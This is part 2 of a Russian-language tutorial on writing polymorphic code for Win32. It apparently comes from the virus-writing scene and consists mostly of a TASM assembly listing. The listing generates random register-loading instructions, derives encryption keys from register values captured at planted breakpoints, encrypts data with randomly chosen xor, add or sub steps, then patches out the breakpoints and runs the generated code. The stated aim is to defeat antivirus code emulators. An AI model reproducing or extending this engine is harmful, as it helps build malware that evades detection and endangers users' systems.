

           Написание полиморфиков под Win32
           ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


                       ЧАСТЬ #2

Идея заключается в том, что  бы  каждая  инструкция
имела смысл. Т.е. что бы не существовало "мусорных" 
инструкций. Плюс к  тому  отсутствовал определенный
ключ   для расшифровки, а получался по не понятному
алгоритму.

Фичи:
      - без кодоэмулятора фиг два разгребешь
      - если есть ошибки в кодоэмуляторе они
      могут всплыть.

Замечания:
      - начальное заполнение регистров
      - выбор регистра для смещения
      - этот регистр не может где-либо использоваться
      - установка  точек   останова  с  целью  узнать 
      значение регистров в данной точке

Ниже идет простейший алгоритм, иллюстрирующий сказанное.


includelib import32.lib
locals __
callm macro api
    extrn &api&: proc
    call &api&
    endm
.386
.model flat
.data
key1 dd ?
key2 dd ?
key3 dd ?
key4 dd ?
opc1 db ?
opc2 db ?
opc3 db ?
opc4 db ?
reg1 db ?
reg2 db ?
reg3 db ?
reg4 db ?
seed dd ?
bp1  dd ?
bp2  dd ?
bp3  dd ?
bp4  dd ? 
bytez dd ?
buff: db 1000h dup (?)
.code
start:
    lea edi, buff
    push 8
    pop ecx   
    mov al, 0B8h
__1:
    cmp al, 0BCh
    jz  __2 
    stosb
    push eax
    call rnd
    stosd 
    pop  eax
__2:
    inc eax   
    loop __1
    ; init regx
    lea edx, reg1
    push 8
    pop ecx
__3:
    push 8
    pop eax
    call rnd
    mov byte ptr [edx], al
    cmp al, 0BCh-0B8h
    jz  __3 
    inc edx
    loop __3
    ; gen method
    lea edx, opc1
    push 4
    pop ecx 
__4:
    push 3
    pop eax
    call rnd
    mov byte ptr [edx], al
    cmp al, byte ptr [edx-1]
    jz  __4
    inc edx
    loop __4
    push offset break_point1 
    call bp_gen
    push offset break_point2
    call bp_gen
    push offset break_point3 
    call bp_gen
    push offset break_point4 
    call bp_gen
    mov al, 0C3h
    push edi
    stosb
    call buff
    pop  edi
    ; kill all break points!!!
    ; add method!
    lea eax, bp1
    push 4
    pop ecx
__5:
    mov edx, [eax]
    mov 4 ptr [edx-5], 90909090h
    mov 1 ptr [edx-1], 90h
    add eax, 4
    loop __5
    call buff
    push 0
    callm ExitProcess

bp_gen proc
    mov al, 0E8h
    stosb
    mov eax, edi
    sub eax, dword ptr [esp+4]
    add eax, 4
    neg eax 
    stosd
    mov al, 90h
    stosb  
    ret 4
    endp

rnd proc 
    push edx ecx eax
    mov eax, seed
    imul eax, eax, 8088405h
    inc eax
    mov [seed], eax
    pop ecx
    jecxz __1
    xor edx, edx
    div ecx
    xchg eax, edx 
__1:
    pop ecx edx
    ret 
    endp

break_point1:
    pushad        
    mov eax, 4 ptr [esp+8*4]
    mov [bp1], eax 
    mov al, 3
    jmp break_point 
break_point2:
    pushad   
    mov eax, 4 ptr [esp+8*4]
    mov [bp2], eax 
    mov al, 2       
    jmp break_point 
break_point3:
    pushad   
    mov eax, 4 ptr [esp+8*4]
    mov [bp3], eax 
    mov al, 1     
    jmp break_point 
break_point4:
    pushad   
    mov eax, 4 ptr [esp+8*4]
    mov [bp4], eax 
    sub al, al      
break_point:
    movzx eax, al
    neg   eax
    mov   dh, byte ptr [reg4+eax]
    mov   dl, 7
    sub   dl, dh
    movzx edx, dl  
    mov   edx, [esp+edx*4] 
    mov   4 ptr [eax*4+key4], edx
    test  eax, eax
    jnz   __1
    lea   esi, bytez
    ; crypt bytez!
    ; edx - key4!
    call  crypt
    dec   eax  
    mov   edx, [eax*4+key4]
    call  crypt
    dec   eax
    mov   edx, [eax*4+key4]
    call  crypt
    dec   eax
    mov   edx, [eax*4+key4]
    call  crypt
__1:
    popad
    ret 

crypt proc
    mov cl, byte ptr [opc4+eax]
    ; 0 - xor
    ; 1 - add
    ; 2 - sub
    test cl, cl
    jnz __1
    xor dword ptr [esi], edx
__1:
    cmp cl, 1
    jnz __2
    sub dword ptr [esi], edx
__2:
    cmp cl, 2
    jnz __3
    add dword ptr [esi], edx
__3:
    ret 
    endp

method:
    db 31h,80h ; xor
    db 01h,80h ; add
    db 29h,80h ; sub 
end start